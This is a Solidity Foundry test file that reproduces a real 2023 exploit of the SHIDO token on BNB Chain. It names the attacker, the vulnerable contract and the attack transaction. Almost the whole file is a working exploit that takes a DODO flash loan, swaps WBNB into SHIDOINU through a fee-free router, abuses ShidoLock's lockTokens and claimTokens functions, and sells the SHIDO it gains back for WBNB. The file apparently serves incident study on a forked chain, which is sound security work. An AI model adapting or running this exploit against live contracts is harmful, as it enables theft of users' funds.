src/test/2023-06/SHIDO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~230K US$
8// Attacker : https://bscscan.com/address/0x69810917928b80636178b1bb011c746efe61770d
9// Attack Contract : https://bscscan.com/address/0xcdb3d057ca0cfdf630baf3f90e9045ddeb9ea4cc
10// Vulnerable Contract : https://bscscan.com/address/0xa963ee460cf4b474c35ded8fff91c4ec011fb640
11// Attack Tx : https://bscscan.com/tx/0x72f8dd2bcfe2c9fbf0d933678170417802ac8a0d8995ff9a56bfbabe3aa712d6
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xa963ee460cf4b474c35ded8fff91c4ec011fb640#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1672473343734480896
18// Twitter Guy : https://twitter.com/AnciliaInc/status/1672382613473083393
19 
20interface IShidoLock {
21    function lockTokens() external;
22    function claimTokens() external;
23}
24 
25interface IFeeFreeRouter {
26    function addLiquidityETH(
27        address token,
28        uint256 amountTokenDesired,
29        uint256 amountTokenMin,
30        uint256 amountETHMin,
31        address payable to,
32        uint256 deadline
33    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
34}
35 
36contract ContractTest is Test {
37    IERC20 SHIDO = IERC20(0xa963eE460Cf4b474c35ded8fFF91c4eC011FB640);
38    IERC20 SHIDOINU = IERC20(0x733Af324146DCfe743515D8D77DC25140a07F9e0);
39    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
40    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
41    IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);
42    IShidoLock ShidoLock = IShidoLock(0xaF0CA21363219C8f3D8050E7B61Bb5f04e02F8D4);
43    address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
44 
45    function setUp() public {
46        deal(address(this), 0);
47        vm.createSelectFork("bsc", 29_365_171); // It is recommended to use the quicknode endpoint
48        vm.label(address(SHIDOINU), "SHIDOINU");
49        vm.label(address(SHIDO), "SHIDO");
50        vm.label(address(WBNB), "WBNB");
51        vm.label(address(ShidoLock), "ShidoLock");
52        vm.label(address(FeeFreeRouter), "FeeFreeRouter");
53        vm.label(address(Router), "Router");
54        vm.label(address(dodo), "dodo");
55    }
56 
57    function testExploit() public {
58        DVM(dodo).flashLoan(40 * 1e18, 0, address(this), new bytes(1));
59 
60        emit log_named_decimal_uint(
61            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
62        );
63    }
64 
65    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
66        WBNBToSHIDOINU();
67        LockAndClaimToken();
68        SHIDOToWBNB();
69 
70        WBNB.transfer(dodo, baseAmount);
71    }
72 
73    function WBNBToSHIDOINU() internal {
74        WBNB.approve(address(Router), 100_000 * 1e18);
75        address[] memory path = new address[](2);
76        path[0] = address(WBNB);
77        path[1] = address(SHIDOINU);
78        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
79            39 * 1e18, 0, path, address(FeeFreeRouter), block.timestamp
80        );
81        WBNB.withdraw(10 * 1e15);
82        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 * 1e15, 0, path, address(this), block.timestamp);
83        SHIDOINU.approve(address(FeeFreeRouter), 1e27);
84        FeeFreeRouter.addLiquidityETH{value: 0.01 ether}(
85            address(SHIDOINU), 1e9, 1, 1, payable(address(this)), block.timestamp
86        );
87    }
88 
89    function LockAndClaimToken() internal {
90        SHIDOINU.approve(address(ShidoLock), type(uint256).max);
91        ShidoLock.lockTokens();
92        ShidoLock.claimTokens();
93    }
94 
95    function SHIDOToWBNB() internal {
96        SHIDO.approve(address(Router), type(uint256).max);
97        address[] memory path = new address[](2);
98        path[0] = address(SHIDO);
99        path[1] = address(WBNB);
100        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
101            SHIDO.balanceOf(address(this)), 0, path, address(this), block.timestamp
102        );
103    }
104 
105    receive() external payable {}
106}